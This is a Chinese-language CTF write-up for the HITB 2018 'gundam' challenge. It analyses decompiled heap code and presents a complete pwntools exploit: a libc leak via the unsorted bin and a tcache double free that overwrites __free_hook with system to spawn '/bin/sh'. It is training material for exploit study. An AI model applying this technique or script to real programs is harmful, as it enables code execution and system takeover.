文章目录
2018_HITB_CTF-gundam
0x01. FILE Analysis
- Checksec
echo@ubuntu:~/Pwn/gundam/HITB-2018-gundam$ checksec gundam
[*] '/home/echo/Pwn/gundam/HITB-2018-gundam/gundam'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
- 执行文件
echo@ubuntu:~/Pwn/gundam/HITB-2018-gundam$ ./gundam
1 . Build a gundam
2 . Visit gundams
3 . Destory a gundam
4 . Blow up the factory
5 . Exit
0x02. Static Analysis
sub_B7D
:input 1,Build a gundam
__int64 sub_B7D()
{
int v1; // [rsp+0h] [rbp-20h] BYREF
unsigned int i; // [rsp+4h] [rbp-1Ch]
void *s; // [rsp+8h] [rbp-18h]
void *buf; // [rsp+10h] [rbp-10h]
unsigned __int64 v5; // [rsp+18h] [rbp-8h]
v5 = __readfsqword(0x28u);
s = 0LL;
buf = 0LL;
if ( (unsigned int)dword_20208C <= 8 )//dword_20208C 保存了一个记录gundam的无符号整数(0 - 8)
{
s = malloc(0x28uLL); //各个s在堆上的结构见下图
memset(s, 0, 0x28uLL);
buf = malloc(0x100uLL);//name 可用空间0x100字节
if ( !buf )
{
puts("error !");
exit(-1);
}
printf("The name of gundam :");
read(0, buf, 0x100uLL);//向name读入了0x100字节,如果全部0x100字节都用上,会导致name没有被'\x00'截断,可能产生信息泄露
*((_QWORD *)s + 1) = buf;
printf("The type of the gundam :");
__isoc99_scanf("%d", &v1);
if ( v1 < 0 || v1 > 2 )
{
puts("Invalid.");
exit(0);
}
strcpy((char *)s + 16, &aFreedom[20 * v1]);
*(_DWORD *)s = 1;
for ( i = 0; i <= 8; ++i ) // record the chunk ptr on bss
{
if ( !qword_2020A0[i] )
{
qword_2020A0[i] = s;
break;
}
}
++dword_20208C;
}
return 0LL;
}
- 每次build后会在堆上产生两个chunk,大小分别为0x28和0x100。堆空间如下图所示:
+---------------------+
| pre_size | 0x31 | malloc(0x28) next_chunk的pre_size会复用
+---------------------+ <------ s[0]
| 1 | name_ptr |
+---------------------+
| Type | ? |
+---------------------+
| ? | ? |
+---------------------+
| pre_size | 0x111 |
+---------------------+ <------ name
| ? | ? |
+---------------------+
| ? | ? |
+---------------------+
| ? | ? |
+---------------------+
| ? | ****** | <------ s[1]
type struct{
int inuse;
char * name_ptr;
char * type;
};
qword_2020A0
:Bss段上会记录各个s的指针
sub_EF4
:input 2,Visit gundams
__int64 visit()
{
unsigned int i; // [rsp+4h] [rbp-Ch]
if ( cnt_dword_20208C )
{
for ( i = 0; i <= 8; ++i )
{
if ( qword_2020A0[i] && *(_DWORD *)qword_2020A0[i] ) //BSS段上内容不为空且指针指向的堆空间的标志位不为0,就打印
{
printf("\nGundam[%u] :%s", i, *(const char **)(qword_2020A0[i] + 8LL));//打印name
printf("Type[%u] :%s\n", i, (const char *)(qword_2020A0[i] + 16LL));//打印Type
}
}
}
else
{
puts("No gundam produced!");
}
return 0LL;
}
sub_D32
:input 3,Destory a gundam
__int64 destory()
{
unsigned int v1; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
if ( cnt_dword_20208C )
{
printf("Which gundam do you want to Destory:");
__isoc99_scanf("%d", &v1);
if ( v1 > 8 || !qword_2020A0[v1] )//没有检查堆上标志位,仅仅检查了s指针是否为空
{
puts("Invalid choice");
return 0LL;
}
*(_DWORD *)qword_2020A0[v1] = 0;//将bss段上的s指针所指向的堆空间中的标志位置零,
free(*(void **)(qword_2020A0[v1] + 8LL));//释放掉s指针指向堆空间,偏移8字节处,的name指针指向的空间。但是name指针没置零
}
else
{
puts("No gundam");
}
return 0LL;
}
sub_E22
:input 4,Blow up the factory
unsigned __int64 blow_up()
{
unsigned int i; // [rsp+4h] [rbp-Ch]
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
for ( i = 0; i <= 8; ++i )
{
if ( qword_2020A0[i] && !*(_DWORD *)qword_2020A0[i] )//bss段上s指针不为空,但是指向空间的标志位为0
{
free((void *)qword_2020A0[i]);//释放掉s指向的堆空间
qword_2020A0[i] = 0LL;//s指针置零
--cnt_dword_20208C;//cnt--
}
}
puts("Done!");
return __readfsqword(0x28u) ^ v2;
}
- input 5,Exit!
0x03. Dynamic Analysis & Exploit
- 更改libc版本到2.26
patchelf --replace-needed libc.so.6 /home/echo/tools/glibc-all-in-one/libs/2.26-0ubuntu2_amd64/libc-2.26.so gundam
patchelf --set-interpreter /home/echo/tools/glibc-all-in-one/libs/2.26-0ubuntu2_amd64/ld-2.26.so gundam
- 首先可以执行一下,验证一下double_free漏洞的存在
可以看到,执行两次destory操作后,并没有产生错误,这里是glibc-2.26对tcache的double_free没做检测导致的,后面也会针对这一点进行利用。
- 第一步:泄露地址,
- 思路是借助unsorted_bin头指向
main_arena + 88
处, - 首先把一个chunk放进unsorted_bin中
- unsorted_bin中,采取双链表的数据结构进行管理,当bin中只有一个chunk时,其fd、bk均指向链表头节点,也就是
main_arena + 88
- 重新把unsorted_bin中的块分配出来,由于采用的是malloc函数(并非calloc)申请空间,chunk中仍然会保留之前记录的
main_arena
信息 - 借助printf,泄露地址
- 过程中要注意存在tcache,所以要先将tcache填满
- 思路是借助unsorted_bin头指向
for i in range(9):
build(b'a' * 8)
for i in range(8):#填满tcache,最后一个放到了unsorted_bin中
destory(i)
blowup()#清除一下bss段上的指针,为后续build做准备
for i in range(8):#会先使用tcache中的chunk,所以要进行8次build
build(b'a' * 8)
visit()#打印
p.recv(0x148)
addr = u64(p.recv(6).ljust(8, b'\x00'))
log.success('main_arena + 88: ' + hex(addr))
-
覆写free_hook
- 这里想通过将free_hook改为system来进行getshell
- 通过由于free的时候会传递chunk的指针作为参数也就是:free(ptr)
- 如果我们可以提前将ptr指向的空间改为
/bin/sh
- free(ptr),就变成了system(ptr),即system(’/bin/sh’)
-
这里借助了double_free的操作
- 通过double_free,在tcache中伪造了一个自己指向自己的chunk
destory(2)
destory(1)
destory(0)
destory(0)#double free
blowup()
build(p64(free_hook))
build(b'/bin/sh\x00')
build(p64(sys_addr))
#pause()
destory(0)
p.interactive()
0x04. EXP
from pwn import *
def build(name):
p.sendafter("Your choice : ", '1')
p.sendafter("The name of gundam :", name)
p.sendlineafter("The type of the gundam :", '1')
def visit():
p.sendafter("Your choice : ", '2')
def destory(idx):
p.sendafter("Your choice : ", '3')
p.sendlineafter("Which gundam do you want to Destory:", str(idx))
def exit():
p.sendafter("Your choice : ", '5')
def blowup():
p.sendafter("Your choice : ", '4')
p = process('./gundam')
elf = ELF('./gundam')
libc = ELF('/home/echo/tools/glibc-all-in-one/libs/2.26-0ubuntu2_amd64/libc-2.26.so')
context.log_level = 'debug'
gdb.attach(p)
for i in range(9):
build(b'a' * 8)
for i in range(8):
destory(i)
blowup()
visit()
for i in range(8):
build(b'a' * 8)
visit()
p.recv(0x148)
addr = u64(p.recv(6).ljust(8, b'\x00'))
log.success('main_arena + 88: ' + hex(addr))
offset = 0x3dac78
libc_base = addr - offset
sys_addr = libc_base + libc.symbols['system']
free_hook = libc_base + libc.symbols['__free_hook']
#pause()
log.success('free_hook: ' + hex(free_hook))
destory(2)
destory(1)
destory(0)
destory(0)
blowup()
build(p64(free_hook))
build(b'/bin/sh\x00')
build(p64(sys_addr))
#pause()
destory(0)
p.interactive()
#pause()
0x05. Summary
-
通过prinf的参数没有进行截断来泄露地址
-
通过unsorted_bin来泄露main_arena
-
tcache简单入门
-
简单的double_free